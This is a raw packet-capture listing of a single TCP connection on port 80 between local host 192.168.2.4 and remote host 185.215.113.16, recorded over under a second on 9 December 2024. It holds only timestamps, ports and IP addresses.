Dec 9, 2024 20:27:48.287358046 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.288208961 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.288255930 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.288341045 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.288388014 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.289225101 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.289271116 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.289298058 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.289335966 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.290324926 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.290373087 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.290417910 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.290467978 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.291372061 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.291425943 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.291475058 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.291520119 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.292438984 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.292485952 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.292542934 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.292586088 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.293507099 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.293560982 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.293627977 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.293673992 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.294717073 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.294759035 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.294789076 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.294836044 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.295686007 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.295730114 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.295799971 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.295840979 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.296817064 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.296865940 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.297032118 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.297076941 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.297880888 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.297930002 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.298055887 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.298146009 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.298944950 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.298993111 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.299031019 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.299077034 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.300036907 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.300050974 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.300088882 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.301085949 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.301143885 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.301219940 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.301364899 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.302179098 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.302227974 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.302254915 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.302298069 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.303411007 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.303459883 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.303484917 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.303530931 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.304361105 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.304501057 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.304513931 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.304563046 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.305460930 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.305515051 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.305568933 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.305612087 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.306715965 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.306766033 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.306839943 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.306890011 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.307626963 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.307676077 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.307807922 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.307859898 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.308672905 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.308718920 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.308746099 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.308784008 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.309746981 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.309794903 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.309828043 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.309885025 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.310928106 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.310980082 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.311077118 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.311122894 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.311908960 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.311955929 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.312025070 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.312071085 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.313015938 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.313067913 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.313107967 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.313206911 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.314126015 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.314141035 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.314192057 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.315187931 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.315244913 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.315285921 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.316267014 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.316317081 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.316329002 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.317338943 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.317394972 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.317435980 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.318418980 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.318473101 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.318511963 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.318552017 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.319528103 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.319663048 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.319711924 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.320625067 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.320781946 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.320827961 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.321734905 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.321829081 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.321875095 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.322762012 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.322814941 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.322876930 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.323410034 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.323879004 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.323986053 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.324042082 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.324889898 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.325074911 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.325125933 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.326020002 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.326147079 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.326190948 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.327178955 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.327222109 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.327310085 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.328268051 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.328309059 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.328371048 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.328828096 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.329268932 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.329406977 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.329457045 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.330315113 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.330435991 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.330486059 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.331403971 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.331526995 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.331585884 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.332487106 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.332530975 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.332586050 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.333569050 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.334490061 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.468919039 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.469017029 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.469386101 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.469497919 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.470540047 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.470623016 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.471355915 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.471549034 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.471587896 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.471601963 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.471676111 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.472630978 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.472672939 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.472740889 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.472781897 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.473727942 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.473778009 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.473860025 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.473905087 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.474837065 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.474884987 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.474915028 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.475159883 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.475936890 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.475991964 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.476033926 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.476072073 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.477145910 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.477202892 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.477210999 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.477277040 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.478112936 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.478168964 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.478183985 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.478218079 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.479352951 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.479408026 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.479424000 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.479439974 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.480195045 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.480273008 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.480307102 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.480341911 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.481353045 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.481396914 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.481424093 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.481450081 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.482389927 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.482453108 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.482458115 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.482486010 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.483555079 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.483620882 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.483701944 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.483772039 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.484611034 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.484680891 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.484719992 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.484807014 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.485625982 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.485678911 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.485903025 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.485958099 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.486737967 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.486808062 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.486841917 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.486907959 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.487778902 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.487833977 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.487848043 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.487883091 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.488909960 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.488960028 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.488991976 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.489031076 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.489949942 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.489999056 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.490223885 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.490506887 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.491280079 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.491293907 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.491333961 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.491348982 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.492222071 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.492276907 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.492279053 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.492316008 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.493190050 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.493236065 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.493280888 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.493671894 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.494358063 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.494424105 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.494472027 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.495359898 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.495498896 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.495543003 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.496464968 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.496510983 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.496573925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.497565031 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.497612000 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.497627974 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.498706102 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.498753071 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.498858929 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.498900890 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.499716997 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.499766111 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.499811888 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.500828981 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.500875950 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.500926971 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.500967026 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.502011061 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.502065897 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.502119064 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.502159119 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.502989054 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.503032923 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.503041983 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.503081083 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.504040003 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.504080057 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.504129887 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.504169941 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.505193949 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.505238056 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.505239010 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.505270004 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.506203890 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.506272078 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.506275892 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.506385088 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.507514000 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.507558107 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.507632971 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.507671118 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.508373976 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.508450985 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.508500099 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.508543015 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.509495020 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.509583950 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.509629965 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.509671926 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.510538101 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.510601997 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.510646105 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.511651993 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.511701107 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.511733055 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.511826038 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.512697935 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.512744904 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.512811899 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.512845993 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.513981104 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.514020920 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.514076948 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.514122009 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.514972925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.515017033 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.515153885 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.515203953 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.515986919 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.516047001 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.516055107 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.516107082 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.517065048 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.517180920 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.517235994 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.517280102 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.518178940 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.518244028 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.518265963 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.518284082 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.519248009 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.519298077 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.519392014 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.519429922 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.520351887 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.520457029 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.520488024 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.520533085 CET	49766	80	192.168.2.4	185.215.113.16
